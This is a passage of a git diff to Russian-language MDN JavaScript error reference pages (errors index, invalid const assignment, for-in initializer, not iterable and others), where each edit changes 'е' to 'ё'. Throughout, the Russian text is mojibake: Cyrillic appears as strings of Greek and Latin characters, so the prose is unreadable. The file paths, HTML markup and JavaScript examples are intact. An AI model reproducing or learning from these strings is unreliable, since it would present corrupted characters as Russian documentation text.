-// TypeError: Π½Π΅ удаСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ 'in' для поиска 'bar' Π² 'foo' (Chrome)
+// TypeError: Π½Π΅ удаётся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ 'in' для поиска 'bar' Π² 'foo' (Chrome)
// TypeError: правая Ρ‡Π°ΡΡ‚ΡŒ 'in' Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌ null (Firefox)
</pre>
diff --git a/files/ru/web/javascript/reference/errors/index.html b/files/ru/web/javascript/reference/errors/index.html
index 21d076dbdc..41b34e5478 100644
--- a/files/ru/web/javascript/reference/errors/index.html
+++ b/files/ru/web/javascript/reference/errors/index.html
@@ -8,9 +8,9 @@ translation_of: Web/JavaScript/Reference/Errors
---
<p>{{jsSidebar("Errors")}}</p>
-<p>НиТС, Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ список ошибок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β JavaScript. Π­Ρ‚ΠΈ ΠΎΡˆΠΈΠ±ΠΊΠΈΒ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ ΠΏΡ€ΠΈ ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅, Π½ΠΎ Π½Π΅ΠΏΠΎΠ»Π°Π΄ΠΊΠΈΒ Π½Π΅ всСгда сразу понятны. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ Π½ΠΈΠΆΠ΅ Β ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± этих ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…. КаТдая ошибка это ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π° основании {{jsxref("Error")}} object, ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ имя (<code>name)</code> ΠΈ сообщСниС (<code>message)</code>.</p>
+<p>НиТС, Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ список ошибок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β JavaScript. Π­Ρ‚ΠΈ ΠΎΡˆΠΈΠ±ΠΊΠΈΒ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ ΠΏΡ€ΠΈ ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅, Π½ΠΎ Π½Π΅ΠΏΠΎΠ»Π°Π΄ΠΊΠΈΒ Π½Π΅ всСгда сразу понятны. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ Π½ΠΈΠΆΠ΅ Β ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± этих ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…. КаТдая ошибка это ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π° основании {{jsxref("Error")}} object, ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ имя (<code>name)</code> ΠΈ сообщСниС (<code>message)</code>.</p>
-<p>Ошибки ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Π΅ Π² Web консоли ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΒ ΡΡΡ‹Π»ΠΊΡƒ Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ страницу Π½ΠΈΠΆΠ΅,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ быстро ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ Π² ΠΊΠΎΠ΄Π΅.</p>
+<p>Ошибки ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹Π΅ Π² Web консоли ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΒ ΡΡΡ‹Π»ΠΊΡƒ Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ страницу Π½ΠΈΠΆΠ΅,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ быстро ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ Π² ΠΊΠΎΠ΄Π΅.</p>
<h2 id="Бписок_ошибок">Бписок ошибок</h2>
diff --git a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html
index d658f57b73..710aa435f8 100644
--- a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html
+++ b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html
@@ -19,7 +19,7 @@ TypeError: ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ объявлСниС const 'x' (IE)
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>ΠšΠΎΠ½ΡΡ‚Π°Π½Ρ‚Π°-это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ исполнСнии. Он Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ назначСния ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ объявлСн. Π’ JavaScript, константы ΠΎΠ±ΡŠΡΠ²Π»ΡΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова const.</p>
+<p>ΠšΠΎΠ½ΡΡ‚Π°Π½Ρ‚Π°-это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ исполнСнии. Он Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ назначСния ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ объявлСн. Π’ JavaScript, константы ΠΎΠ±ΡŠΡΠ²Π»ΡΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова const.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -67,7 +67,7 @@ function setupBigScreenEnvironment() {
<h3 id="const_ΠΈ_Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΡΡ‚ΡŒ"><code>const</code> ΠΈ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΠΎΡΡ‚ΡŒ</h3>
-<p>ОбъявлСниС const создаСт ссылку Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ содСрТит, являСтся нСизмСняСмым, просто ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°Π·Π½Π°Ρ‡Π΅Π½. НапримСр, Ссли содСрТимоС являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ всС Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ нСльзя ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, хранящССся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ:</p>
+<p>ОбъявлСниС const создаёт ссылку Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ содСрТит, являСтся нСизмСняСмым, просто ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°Π·Π½Π°Ρ‡Π΅Π½. НапримСр, Ссли содСрТимоС являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ нСльзя ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, хранящССся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ:</p>
<pre class="brush: js example-bad">const obj = {foo: 'bar'};
obj = {foo: 'baz'}; // TypeError: invalid assignment to const `obj'
diff --git a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
index f9e91b0a53..9f0b68e84c 100644
--- a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
+++ b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
@@ -22,11 +22,11 @@ SyntaxError: объявлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Ρ†ΠΈΠΊΠ»Π° for-in ΠΌΠΎΠΆΠ
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅ Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>Π“Π»Π°Π²Π° Ρ†ΠΈΠΊΠ»Π°Β <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> содСрТит Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π°. Π’ΠΎ Π΅ΡΡ‚ΡŒ пСрСмСнная ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ ΠΈ присваиваСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>|for (var i = 0 inΒ obj)|</code>. Π’ нСстрогом Ρ€Π΅ΠΆΠΈΠΌΠ΅ это объявлСниС head игнорируСтся ΠΈ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>|for (var i inΒ obj)|</code>. Однако Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ создаСтся синтаксичСская ошибка.</p>
+<p>Π“Π»Π°Π²Π° Ρ†ΠΈΠΊΠ»Π°Β <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> содСрТит Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π°. Π’ΠΎ Π΅ΡΡ‚ΡŒ пСрСмСнная ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ ΠΈ присваиваСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>|for (var i = 0 inΒ obj)|</code>. Π’ нСстрогом Ρ€Π΅ΠΆΠΈΠΌΠ΅ это объявлСниС head игнорируСтся ΠΈ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>|for (var i inΒ obj)|</code>. Однако Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ создаётся синтаксичСская ошибка.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄Π°Π΅Ρ‚Β SyntaxError:</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄Π°Ρ‘Ρ‚Β SyntaxError:</p>
<pre class="brush: js example-bad">"use strict";
diff --git a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
index c084aac4e3..5e2823d3c1 100644
--- a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
+++ b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/is_not_iterable
<h2 id="Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅">Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅</h2>
<pre class="syntaxbox">TypeError: "x" Π½Π΅ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌ (Firefox, Chrome)
-TypeError: 'x' Π½Π΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΈΠ»ΠΈ Π΅Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌ (Chrome)
+TypeError: 'x' Π½Π΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΈΠ»ΠΈ Π΅Ρ‘ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌ (Chrome)
</pre>
<h2 id="Вип_ошибки">Вип ошибки</h2>
@@ -17,7 +17,7 @@ TypeError: 'x' Π½Π΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΈΠ»ΠΈ Π΅Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ даСтся ΠΊΠ°ΠΊ правая сторона for...of ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ {{jsxref("Promise.all")}} ΠΈΠ»ΠΈ {{jsxref("TypedArray.from")}}, Π½Π΅ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Β ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΠ΅ΠΌΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ, встроСнный ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ Ρ‚ΠΈΠΏΠ°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{jsxref("Array")}}, {{jsxref("String")}} ΠΈΠ»ΠΈ {{jsxref("Map")}}, Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ, ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ».</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ даётся ΠΊΠ°ΠΊ правая сторона for...of ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ {{jsxref("Promise.all")}} ΠΈΠ»ΠΈ {{jsxref("TypedArray.from")}}, Π½Π΅ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Β ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΠ΅ΠΌΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ, встроСнный ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ Ρ‚ΠΈΠΏΠ°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{jsxref("Array")}}, {{jsxref("String")}} ΠΈΠ»ΠΈ {{jsxref("Map")}}, Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ, ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ».</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -77,7 +77,7 @@ for (let x of generate) // TypeError: гСнСрация Π½Π΅ являСтся Π
console.log(x);
</pre>
-<p>Если ΠΎΠ½ΠΈ Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ, Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Function")}}, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρƒ, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ, Π½ΠΎ нСльзя Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ. Π’Ρ‹Π·ΠΎΠ² Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° создаСт ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ ΠΏΠΎ значСниям, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌ Π²ΠΎ врСмя выполнСния Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</p>
+<p>Если ΠΎΠ½ΠΈ Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ, Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Function")}}, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρƒ, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ, Π½ΠΎ нСльзя Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ. Π’Ρ‹Π·ΠΎΠ² Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° создаёт ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ ΠΏΠΎ значСниям, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌ Π²ΠΎ врСмя выполнСния Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</p>
<pre class="brush: js example-good">function* generate(a, b) {
yield a;
diff --git a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
index 5e65f8c633..f848e5486d 100644
--- a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
+++ b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
@@ -39,7 +39,7 @@ var f = Function('x,', 'return x;');
// SyntaxError (лишняя запятая)
var f = Function(37, "alert('OK')");
-// SyntaxError (числа Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² качСствС ΠΈΠΌΠ΅Π½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²)
+// SyntaxError (числа Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² качСствС ΠΈΠΌΡ‘Π½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²)
</pre>
<h3 id="ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ_ΠΊΠΎΠ΄">ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄</h3>
diff --git a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html
index 32035a2365..12acf53f79 100644
--- a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html
+++ b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html
@@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<h3 id="ΠΠ΅Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΉ_ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€_массива">ΠΠ΅Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ массива</h3>
+<h3 id="ΠΠ΅Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Ρ‹ΠΉ_ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€_массива">ΠΠ΅Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ массива</h3>
<pre class="brush: js example-bad">var list = [1, 2,
diff --git a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
index 856d2fe526..00012ea3c4 100644
--- a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
+++ b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
@@ -55,7 +55,7 @@ obj['propertyKey'] = 'value';
<h3 id="ВычисляСмыС_свойства">ВычисляСмыС свойства</h3>
